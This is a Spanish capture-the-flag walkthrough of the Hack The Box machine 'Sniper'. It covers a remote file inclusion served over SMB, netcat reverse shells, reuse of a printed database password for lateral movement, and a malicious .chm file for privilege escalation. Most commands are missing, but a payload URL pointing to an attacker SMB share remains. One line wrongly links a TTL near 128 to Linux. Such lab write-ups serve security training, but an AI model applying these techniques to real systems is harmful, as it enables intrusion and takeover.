Sniper

Publicado: 12 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium

📝 Descripción

Sniper es una máquina Windows de dificultad media que simula el entorno de una empresa de entrega y seguimiento de productos. El vector de ataque inicial se basa en una vulnerabilidad de Remote File Inclusion (RFI) presente en el parámetro lang del blog corporativo. Esta vulnerabilidad permite la ejecución remota de código aprovechando un servidor SMB para bypassear las restricciones de inclusión de archivos remotos via HTTP.

Una vez obtenido el acceso inicial, se encuentra reutilización de credenciales que permite el movimiento lateral al usuario Chris. La escalada de privilegios se logra mediante la creación de un archivo malicioso .chm (Compiled HTML Help) que es procesado automáticamente por el administrador del sistema, resultando en la ejecución de código con privilegios elevados.

Esta máquina destaca por enseñar técnicas avanzadas de explotación como el uso de servidores SMB para RFI y la creación de payloads maliciosos en archivos de ayuda de Windows.

🎯 Objetivos

  • User Flag: Acceso como usuario Chris

  • Root Flag: Escalada de privilegios a Administrator

🔭 Reconocimiento

Ping para verificación en base a TTL

💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos

Enumeración de servicios

445 TCP -SMB

Descartamos que podamos enumerar algún recurso compartido mediante una null session:

80 TCP - HTTP (Sniper CO)

Al acceder al servicio web en http://10.10.10.151/ encontramos una empresa dedicada a la entrega y seguimiento de productos.

🔐 Panel de Login

Hay un panel de login en el que las credenciales por defecto no parecen funcionar pero vemos una opción de registro:

Nos registramos pero al acceder no encontramos más que un sitio web que está en construcción:

![[33.png]]

📰 Blog

http://10.10.10.151/blog/index.php

En este apartado encontramostexto del blog es solo un párrafo sobre plazos de entrega rápidos y texto ficticio de Lorem Ipsum . Pero hay una barra de opciones en la parte superior.

La mayoría de los enlaces solo dirigen a esta página, pero el menú desplegable de idiomas incluye enlaces a:

  • http://10.10.10.151/blog?lang=blog-en.php

  • http://10.10.10.151/blog?lang=blog-es.php

  • http://10.10.10.151/blog?lang=blog-fr.php

Es probable que la página haga algo como tener cada una de las tres páginas de idioma en el mismo directorio y luego tener PHP que las incluya:

Si el filtrado previo no es adecuado, podría existir una vulnerabilidad de inclusión de archivos. Lo anotamos pare revisarlo posteriormente.

Fuzzing de directorios

Realizamos fuzzing de directorios sobre este servicio pero no encontramos ningún recurso que nos sirva como vía potencial de ataque:

🎯 Explotación Inicial

Verificando Local File Inclusion (LFI)

En la sección de blog habíamos visto que hay una posible inclusión de archivo local en el parámetro lang. No funciona cuando intento incluir algo con una ruta relativa, como ..\index.php.Pero si uso una ruta absoluta, como \windows\win.ini, la página se carga y puedo ver el archivo en el contenido en la parte inferior si miro la fuente:

Otra cosa que podríamos hacer es intentar leer un recurso del sistema usando un wrapper y codificación en base64 de la siguiente forma:

Pero tampoco parece funcionar en este caso.

Verificando Remote File Inclusion (RFI)

Creamos un archivo php y levantamos un servidor web con python en nuestro host de ataque:

A continuación referenciamos este archivo usando el parámetro lang de la petición:

Pero parece estar bloqueando RFI:

Algunas veces, los sitios web a pesar de tener este tipo de acciones, suelen prevenir acciones maliciosas usando algunas validaciones internas, como eliminar caracteres de una entrada o simplemente rechazarla si esta parece tener un carácter malicioso.

Sin embargo, aquí nos apoyaremos en una técnica que se explica en el siguiente documento: http://www.mannulinux.org/2019/05/exploiting-rfi-in.php-bypass-remote-url-inclusion-restriction.htmly que consiste en usar un método alternativo para un RFI y es usar SMB para hospedar un script malicioso en lugar de un servidor web. Así que procedemos a crear un archivo malicioso o que ejecute alguna orden en el sistema, marcamos la ubicación del archivo como sin grupo y sin usuario y le asignamos permisos de lectura/ejecución a la carpeta. Luego de ello vamos a modificar nuestro smb para que pueda compartir el archivo.

🚀 RFI usando SMB Server

Iniciamos un servidor smb usando impacket:

Ahora intento referenciar un recurso que no exista accediente a dicho servidor

http://10.10.10.151/blog/?lang=//10.10.14.7/smbShare/test

Y comprobamos que hay autenticación desde el user SNIPER a nuestro servidor SMB, luego podemos abusar de esta vulnerabilidad de tipo RFI

Para llevar a cabo esta explotación, seguimos los siguientes pasos:

Creamos un directorio llamado sharey dentro un archivo .php que ejecutará una llamada al sistema para listar directorios:

Asignamos los permisos necesarios

A continuación, abrimos el archivo de configuración smbd.conf sobre el que debemos definir la siguiente configuración en global y el nuevo recurso compartido que creemos, en este caso "sniper"

Reiniciamos el demonio smbd para que tenga efecto la configuración

Podemos probar si funciona la configuración de manera local usando smbclient para listar y conectarnos al recurso:

Si tenemos algún problema de permisos, aplicaremos los siguientes permisos al resto del path:

Si probamos a acceder al recurso compartido haciendo una petición desde el navegador veremos que nos lista correctamente el contenido del directorio de la máquina windows

http://10.10.10.151/blog/?lang=\10.10.14.7\sniper\shell.php

💻 Acceso Inicial - RFI → RCE

El objetivo ahora es transformar este RFI en un RCE. Para ello, podemos descargar y copiar netcat en el directorio share y lo usaremos para establecer una conexión reversa. Para esto debemos también cambiar el contenido de nuestro fichero shell.php para que en lugar de usar la función shell_exec para realizar un listado del directorio, usemos netcat quedando de la siguiente forma:

Iniciamos un listener con netcat en nuestro host de ataque que será donde recibiremos la conexión:

Y ahora solo nos quedaría volver a realizar la petición al fichero shell.php del recurso compartido sniper:

👥 Enumeración de usuarios

Parece que no tenemos permisos para listar el directorio de ninguno de los usuarios de la máquina.

🔑 Revisando archivos fuentes del sitio web

Al revisar el código fuente del sitio web encontramos un archivo llamad db.php y al revisar el contenido vemos unas credenciales:

dbuser:36mEAhz/B8xQ~2VM

↔️ Movimiento Lateral

Confirmamos que la contraseña está siendo reutilizada en otro servicio y por otros usuarios:

Listamos recursos compartidos y no vemos ningún recurso en el que tengamos permiso de escritura para el usuario chris, por lo que no podemos autenticarnos en la máquina usando psexec.

Intento usar runas para tratar de lanzar comandos como este usuario dentro de la máquina pero tampoco parece funcionar:

Otra alternativa que podemos probar es usar powershell y objeto PSCredential y probar a ejecutando el comando "whoami"

Comprobamos que funciona:

Podemos ahora usar este comando para que en lugar de "whoami" ejecute una reverse shell. Reutlizamos en este caso la reverse shell que teníamos en el recurso compartido SNIPER de la siguiente forma:

Logramos movernos lateralmente y ganar acceso como usuario Chris y obtenemos la primera flag en el directorio Desktop de su usuario:

🚀 Escalada de Privilegios

Enumerando la máquina encontramos un directorio en C:\Docs en cuyo interior hay un archivo de texto con la siguiente información:

Al principio no parece ser de gran utilidad, pero continuamos enumerando la máquina y encontramos un archivo llamado instructions.chm en el directorio del usuario Chris:

📘 ¿Qué es un archivo .chm?

Es un archivo de ayuda compilado que contiene:

  • Páginas HTML.

  • Archivos multimedia (imágenes, CSS, etc.).

  • Un índice y tabla de contenido.

  • Un motor de búsqueda interno.

Estos archivos son comúnmente usados para la documentación de software en Windows.

Si intentamos atar cabos, puede que este archivo sea lo que está esperando el CEO que deposite en el directorio C:\Docs. Buscando información encontramos que este tipo de archivo es una vía potencial para la inyección de código malicioso

En este post encontramos información interesante sobre cómo llevar a cabo esto:

https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7?permalink_comment_id=3753666

Explotación de archivo malicioso chm para escalar privilegios

Hay una utilidad en powershell que de NIshang que nos permite hacer esto de una forma sencilla siguiendo los siguientes pasos:

Paso 1

Primero necesitamos descargar la herramienta HTML Help Workshop en una máquina virtual con windows. Ppdemos hacerlo desde aquí:

Paso 2

Ahora desde la máquina virtual windows, usamos el siguiente cmdlet para cargar el en memoria el script de powershell de nishang y ejecutarlo referenciando el path de la herramienta htlmlhelp:

NOTA: Es posible que lo detecte como malicioso y tengamos que deshabilitar previamente el antivirus en nuestra máquina virtual windows

Paso 3

Ahora, usaremos la siguiente función precargada del script anterior:

Pero en lugar de un Get-Procees, nos interesa generar un documento malicioso que contenga una reverse shell, así que lo hacemos de nuevo referenciando a nuestro recurso SMB compartido y usando netcat de la siguiente forma:

Una vez ejecutado el comando vemos que se ha generado el archivo malicioso doc.chm.

Paso 4

Ahora, deberemos transferir el archivo malicioso a nuestro host de ataque para desde ahí subirlo al directorio C:\Docs de la máquina Sniper, ya que se supone que de ahí es donde lo debe coger el CEO o administrador.

Una forma de transferir esto rápidamente, cuando se trata de archivos pequeños, es codificarlo en base64. Desde windows podemos hacerlo de la siguiente forma:

Este sería el contenido del archivo

Copiamos el contenido en base 64 y en nuestro host de linux lo decodificamos y lo convertimos de la siguiente forma:

Verificamos el tipo de archivo:

Paso 5

Iniciamos un nuevo listener en nuestro host de ataque donde recibiremos la nueva reverse shell como administrador:

Ahora, transferimos al directorio C:\Docs el archivo malicioso doc.chm y netcat al directorio C:\Users\Chris\Desktop:

Cuando el administrador abre el archivo con extensión .chm del directorio C:\Docs, recibimos la reverse shell y ya podemos obtener la última flag:

PreviousJeevesNextQuerier

Last updated